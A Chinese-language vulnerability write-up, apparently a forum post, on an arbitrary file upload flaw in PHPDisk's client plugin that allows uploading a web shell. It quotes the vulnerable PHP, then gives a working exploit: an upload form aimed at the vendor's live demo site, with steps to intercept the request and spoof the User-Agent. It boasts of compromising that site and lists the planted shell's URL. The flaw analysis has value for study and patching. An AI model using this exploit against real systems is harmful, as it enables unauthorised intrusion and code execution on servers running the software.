phpdisk任意文件上传getshell(官网已shell) – 网站安全

@set_time_limit(0);

$agent = $_SERVER['HTTP_USER_AGENT'];

if($agent!='phpdisk-client'){

exit('<a href="http://faq.phpdisk.com/search?w=p403&err=code" target="_blank">[PHPDisk Access Deny] Invalid Entry!</a>');

}



$u_info = trim(gpc('u_info','P',''));

parse_str(pd_encode(base64_decode($u_info),'DECODE'));

// checked username and pwd...

/*$username = trim(gpc('username','GP',''));

$password = trim(gpc('password','GP',''));*/



$username = is_utf8() ? $username : convert_str('utf-8','gbk',$username);

$password = is_utf8() ? $password : convert_str('utf-8','gbk',$password);



$userinfo = $db->fetch_one_array("select userid from {$tpf}users where username='$username' and password='$password'");

if(!$userinfo){

$str = '网盘登录出错：用户名或密码不正确，请重新输入';

$str = is_utf8() ? convert_str('utf-8','gbk',$str) : $str;

echo $str;

}else{

$uid = (int)$userinfo[userid];

}

      拿到用户名和密码以后，进入 数据库查询，但查询出错后echo出来“网盘登录出错：用户名或密码不正确，请重新输入”并没退出。这个就没有用了，不需要知道加密字符串，也不用登陆。   所以继续往下看，  

switch ($action){

case 'upload_file':

//write_file(PHPDISK_ROOT.'system/2.txt',var_export($_POST,true));

//write_file(PHPDISK_ROOT.'system/3.txt',var_export($_FILES,true));

$file = $_FILES['file1'];

$file_name = trim(gpc('file_name','P',''));

$file_do_name = trim(gpc('file_do_name','P',''));

$file_local_path = trim(gpc('file_local_path','P',''));

$folder_id = (int)gpc('folder_id','P',0);

$file_size = (int)gpc('file_size','P',0);

$file_parts = (int)gpc('file_parts','P',0);

$tmp_dir = PHPDISK_ROOT.'system/cache/';

make_dir($tmp_dir);

$file_local_path = is_utf8() ? convert_str('gbk','utf-8',$file_local_path) : $file_local_path;

$file_do_name = is_utf8() ? convert_str('gbk','utf-8',$file_do_name) : $file_do_name;

$file_name = is_utf8() ? convert_str('gbk','utf-8',$file_name) : $file_name;

if(upload_file($file['tmp_name'],$tmp_dir.$file[name])){

//insert db

    进入case以后调用upload_file上传，文件名就直接用的$file[name]。   跟一下upload_file看看：  

function upload_file($source, $target) {

if (function_exists('move_uploaded_file') && @move_uploaded_file($source, $target)) {

@chmod($target, 0666);

return $target;

} elseif (@copy($source, $target)) {

@chmod($target, 0666);

return $target;

} elseif (@is_readable($source)) {

if ($fp = @fopen($source,'rb')) {

@flock($fp,2);

$filedata = @fread($fp,@filesize($source));

@fclose($fp);

}

if ($fp = @fopen($target, 'wb')) {

@flock($fp, 2);

@fwrite($fp, $filedata);

@fclose($fp);

@chmod ($target, 0666);

return $target;

} else {

return false;

}

}

}

  没有验证。直接拷贝进去了。   虽然case那块后面有个unlink对上传的文件进行删除，不过因为之后有一处数据库查询失败，导致这个unlink没有执行。（应该是，我没细看，反正没执行，我的shell没被删）   利用： 本地构造一个上传单页：  

<form name="form" method="post" action="http://demo.phpdisk.com/v/plugins/phpdisk_client/client_sub.php?action=file_upload" enctype="multipart/form-data" >

<input type="hidden" name="file_name" value="aaa.gif">

<input type="file" name="file1">

<input type="submit" name="Submit" value="上传" ></form>

    选择shell上传，中途抓包。   改user-agent为“phpdisk-client”，不改不能上传。   发送。   返回包是这样的：   这个时候查看/system/cache/即可看到shell：
  官网demo站shell已拿下：   http://demo.phpdisk.com/v/system/cache/info.php